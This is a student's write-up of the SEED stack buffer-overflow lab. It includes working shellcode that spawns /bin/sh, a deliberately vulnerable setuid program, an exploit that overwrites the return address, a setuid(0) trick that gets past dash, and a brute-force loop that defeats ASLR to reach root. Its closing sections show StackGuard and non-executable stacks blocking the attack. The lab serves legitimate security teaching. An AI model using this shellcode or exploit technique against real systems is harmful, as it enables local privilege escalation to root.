James Oswald
Lab 02

All of my code can be found in the /sandbox/ directory in the github repo

2.1 Turning Off Countermeasures

According to the lab, there are features to prevent these kinds of attacks on all levels all the way at the OS level, in /bin/sh, and down to the GCC compiler itself. In order to run this attack I must disable these features to ensure that they do not prevent me from completing the lab.

Screenshot of successful disabling of Address Space Randomization.

```
[09/30/20 J0481765]seed@VM:~$  sudo sysctl -w kernel.ra
ndomize_va_space=0
kernel.randomize_va_space = 0
[09/30/20 J0481765]seed@VM:~$ 
```

Checking my version to make sure I'm on Ubuntu 16.04 so that the relink is required. I see that I am, so I relink /bin/sh to link to /bin/zsh rather than /bin/dash

```
[09/30/20 J0481765]seed@VM:~$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 16.04.2 LTS
Release:        16.04
Codename:       xenial
[09/30/20 J0481765]seed@VM:~$ sudo ln -sf /bin/zsh /bin
/sh
[09/30/20 J0481765]seed@VM:~$ 
```

I then check to make sure it linked properly:

```
lrwxrwxrwx  1 root root       8 Sep 30 00:42 sh -> /bin
/zsh
```

2.2 Task 1: Running Shellcode

I set up shellcode and compiled it using the proper flags. This code makes use of raw x86 machine code in a char buffer to start a prompt.

```
call_shellcode.c ×
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
const char code[] =
    "\x31\xc0"      /* Line 1: xorl %eax,%eax */
    "\x50"          /* Line 2: pushl %eax */
    "\x68""//sh"    /* Line 3: pushl $0x68732f2f */
    "\x68""/bin"    /* Line 4: pushl $0x6e69622f */
    "\x89\xe3"      /* Line 5: movl %esp,%ebx */
    "\x50"          /* Line 6: pushl %eax */
    "\x53"          /* Line 7: pushl %ebx */
    "\x89\xe1"      /* Line 8: movl %esp,%ecx */
    "\x99"          /* Line 9: cdq */
    "\xb0\x0b"      /* Line 10: movb $0x0b,%al */
    "\xcd\x80"      /* Line 11: int $0x80 */
;

int main(int argc, char **argv)
{
    char buf[sizeof(code)];
    strcpy(buf, code);
    ((void(*)( ))buf)( );
}
```

Successful compilation of the program using the -z execstack option to disable the non-executable stack protections.

```
[09/30/20 J0481765]seed@VM:~/lab02$ cd sandbox/
[09/30/20 J0481765]seed@VM:~/.../sandbox$ gcc -z execst
ack -o call_shellcode call_shellcode.c
[09/30/20 J0481765]seed@VM:~/.../sandbox$
```

Successful confirmation that the program works as intended, since we’re not running it as a set UID program, we see that it doesn't create a root shell by the $ rather than a #.

```
[09/30/20 J0481765]seed@VM:~/.../sandbox$ call_shellcod
e
$
```

2.3 The Vulnerable Program

The vulnerable code: makes a call to strcpy which does not check bounds creating an overflow vulnerability.

```c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

#define BUF_SIZE 24     //Ill be using the default

int bof(char *str){
    char buffer[BUF_SIZE];
    strcpy(buffer, str); //buffer overflow problem (1)*/
    return 1;
}

int main(int argc, char **argv){
    char str[517];
    FILE *badfile;
    char dummy[BUF_SIZE];
    memset(dummy, 0, BUF_SIZE);
    badfile = fopen("badfile", "r");
    fread(str, sizeof(char), 517, badfile);
    bof(str);
    printf("Returned Properly\n");
    return 1;
}
```

Successful compilation with proper flags

```
[09/30/20 J0481765]seed@VM:~/.../sandbox$ gcc -o stack
-z execstack -fno-stack-protector stack.c
[09/30/20 J0481765]seed@VM:~/.../sandbox$
```

Making stack a set-UID program

```
[09/30/20 J0481765]seed@VM:~/.../sandbox$ sudo chown ro
ot stack
[09/30/20 J0481765]seed@VM:~/.../sandbox$ sudo chmod 47
55 stack
[09/30/20 J0481765]seed@VM:~/.../sandbox$
```

2.4 Task 2: Exploiting the Vulnerability

First I setup a debug version of stack

```
[09/30/20 J0481765]seed@VM:~/.../sandbox$ gcc -o stack_
dbg -g -z execstack -fno-stack-protector stack.c
```

Then run dbg

```
[09/30/20 J0481765]seed@VM:~/.../sandbox$ gdb stack_dbg
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.04) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.
```

Set appropriate breakpoint and run

```
Reading symbols from stack_dbg...done.
gdb-peda$ b bof
Breakpoint 1 at 0x80484f1: file stack.c, line 9.
gdb-peda$ run
Starting program: /home/seed/lab02/sandbox/stack_dbg
```

Determining the return address location

```
gdb-peda$ p $ebp
$2 = (void *) 0xbfffeae8
gdb-peda$ p &buffer
$3 = (char (*)[24]) 0xbfffeac8
```

```
gdb-peda$ p/d 0xbfffeae8- 0xbfffeac8
$7 = 32
```

We conclude the return address offset is 32 + 4 = 36 from the buffer start, Using this info I create my exploit.c program:

```
    "\xcd\x80"      /* Line 11: int $0x80 */
;

void main(int argc, char **argv){
    char buffer[517];
    FILE *badfile;
    memset(&buffer, 0x90, 517); //Initialize buffe

    //My code to create the badfile
    unsigned int ret = 0xbfffeac8 + 90; //90 is arl
    int offset = 36;
    memcpy(buffer + offset, &ret, sizeof(int));
    strcpy(buffer + 100, shellcode);    //100 is a

    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
}
```

I encountered some odd segfault errors when picking my arbitrary offset for the start of my malicious code. Theoretically I should be able to set the return address to anything over 40, however when trying things from 40 to 50 this always caused a segfault. Even setting return address 50 and putting the shellcode at 60 caused a segfault, thankfully for some unknown reason, setting the return address 90 and shellcode start at 100 worked properly without causing any segfaults.

Compiling exploit.c running it, and obtaining a root terminal.

```
[09/30/20 J0481765]seed@VM:~/.../sandbox$ gcc -o exploi
t exploit.c
[09/30/20 J0481765]seed@VM:~/.../sandbox$ exploit
[09/30/20 J0481765]seed@VM:~/.../sandbox$ stack
#
```

```
# whoami
root
#
```

2.5 Task 3: Defeating dash's Countermeasure

I start by relinking dash as the target for sh, since earlier we linked /bin/sh to be zsh

```
[09/30/20 J0481765]seed@VM:~/.../sandbox$ sudo ln -sf /
bin/dash /bin/sh
[09/30/20 J0481765]seed@VM:~/.../sandbox$
```

I then write my program, dash_shell_test.c, with the appropriate line commented out before compiling it and making it a set-UID program.

```c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>

int main(){
    char *argv[2];
    argv[0] = "/bin/sh";
    argv[1] = NULL;
    // setuid(0); //(1)
    execve("/bin/sh", argv, NULL);
    return 0;
}
```

```
[09/30/20 J0481765]seed@VM:~/.../sandbox$ gcc dash_shel
l_test.c -o dash_shell_test
[09/30/20 J0481765]seed@VM:~/.../sandbox$ sudo chown ro
ot dash_shell_test
[09/30/20 J0481765]seed@VM:~/.../sandbox$  sudo chmod 4
755 dash_shell_test
[09/30/20 J0481765]seed@VM:~/.../sandbox$
```

Running the program with line one commented out yields the expected result, despite being a setUID program, we do not get a root terminal.

```
[09/30/20 J0481765]seed@VM:~/.../sandbox$ dash_shell_te
st
$ whoami
seed
$ 
```

However running as a set-UID program with line one uncommented provides us with a root terminal.

```
[09/30/20 J0481765]seed@VM:~/.../sandbox$ dash_shell_te
st
# whoami
root
#
```

For the second part of this task, I modify the exploit performed in experiment 2 so it can be run with dash using the trick we just learned. I start by inserting the trick at the start of my shellcode, this new exploit is named “exploit3.c” and besides these 4 new lines is identical to the original.

```
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

char shellcode[] =
    "\x31\xc0"      /* Line 1: xorl %eax,%eax */
    "\x31\xdb"      /* Line 2: xorl %ebx,%ebx */
    "\xb0\xd5"      /* Line 3: movb $0xd5,%al */
    "\xcd\x80"      /* Line 4: int $0x80 */

    "\x31\xc0"      /* Line 1: xorl %eax,%eax */
    "\x50"          /* Line 2: pushl %eax */
```

We see that despite being on dash now, we are still able to create a root shell using this new workaround.

```
[09/30/20 J0481765]seed@VM:~/.../sandbox$ gcc -o exploi
t3 exploit3.c
[09/30/20 J0481765]seed@VM:~/.../sandbox$ exploit3
[09/30/20 J0481765]seed@VM:~/.../sandbox$ stack
# whoami
root
# 
```

2.6 Task 4: Defeating Address Randomization

I begin by reenabling address randomization which has been turned off for all previous tasks.

```
[09/30/20 J0481765]seed@VM:~/.../sandbox$ sudo /sbin/sy
sctl -w kernel.randomize_va_space=2
kernel.randomize_va_space = 2
[09/30/20 J0481765]seed@VM:~/.../sandbox$ 
```

I then create the brute force shell script and save it as bruteforce.sh

bruteforce.sh

```
SECONDS=0
value=0
while [ 1 ]
    do
    value=$(( $value + 1 ))
    duration=$SECONDS
    min=$(($duration / 60))
    sec=$(($duration % 60))
    echo "$min minutes and $sec seconds elapsed."
    echo "The program has been running $value times so far."
    ./stack
done
```

Finally at long last, after an antagonizing 37 minutes of me thinking I messed up somewhere, the brute force approach succeeded in getting me a root shell:

```
37 minutes and 19 seconds elapsed.
The program has been running 1042136 times so far.
./bruteforce.sh: line 12: 22307 Segmentation fault
 ./stack
37 minutes and 19 seconds elapsed.
The program has been running 1042137 times so far.
# whoami
root
# 
```

2.7 Task 5: Turn on the StackGuard Protection

The goal of this task is to repeat task 2 without disabling StackGuard in GCC, and then recording and contrasting results

I start off by disabling address randomization as directed by the lab.

```
[09/30/20 J0481765]seed@VM:~/.../sandbox$ sudo sysctl -
w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
[09/30/20 J0481765]seed@VM:~/.../sandbox$
```

I then use the same source stack.c, but compile it to stack5 with StackGuard Protection enabled by default, then make it a set-UID program:

```
[09/30/20 J0481765]seed@VM:~/.../sandbox$ gcc -o stack5
 -z execstack stack.c
[09/30/20 J0481765]seed@VM:~/.../sandbox$
```

When attempting to run this, we actually get a result that I did not expect. The program terminates with a unique failure message:

```
[09/30/20 J0481765]seed@VM:~/.../sandbox$ stack5
*** stack smashing detected ***: stack5 terminated
Aborted
[09/30/20 J0481765]seed@VM:~/.../sandbox$ ^C
```

This is in stark contrast to the results of task 2, with StackGuard disabled, which allowed us to easily modify the stack with a buffer overflow.

2.8 Task 6: Turn on the Non-executable Stack Protection

The goal of this task is to observe the effects of having a non-executable stack on the stack program we tested in task 2.

I start by making sure address randomization is off, which it is. I then proceed to recompile stack.c with the -z noexecstack into an executable named stack6, and make it a set-UID program.

```
[09/30/20 J0481765]seed@VM:~/.../sandbox$ gcc -o stack6
 -fno-stack-protector -z noexecstack stack.c
[09/30/20 J0481765]seed@VM:~/.../sandbox$ sudo chown ro
ot stack6
[09/30/20 J0481765]seed@VM:~/.../sandbox$ sudo chmod 47
55 stack6
```

After this I tried running the program.

```
[09/30/20 JO481765]seed@VM:~/.../sandbox$ stack6
Segmentation fault
```

I am unable to get a shell, it appears the issue is a segmentation fault. Looking deeper into the documentation (at https://linux.die.net/man/8/execstack) for this option, it appears that this completely disables the ability to execute code on the stack, which means that the instruction pointer jumping to the stack would cause a segfault, so this error actually makes a lot of sense.

Conclusion

Overall this lab brought up a lot of interesting ideas and was a good introduction to buffer overflow attacks and how they are protected against and how we can get around these protections. I was surprised by the wide range of GCC features, I have been using GCC for years and have never used the -z flag, nor did I know you could disable stack guard with a flag. It was also very interesting to use brute force in a practical application of to override an os security feature.

All of my code can be found in the /sandbox/ directory in the github repo.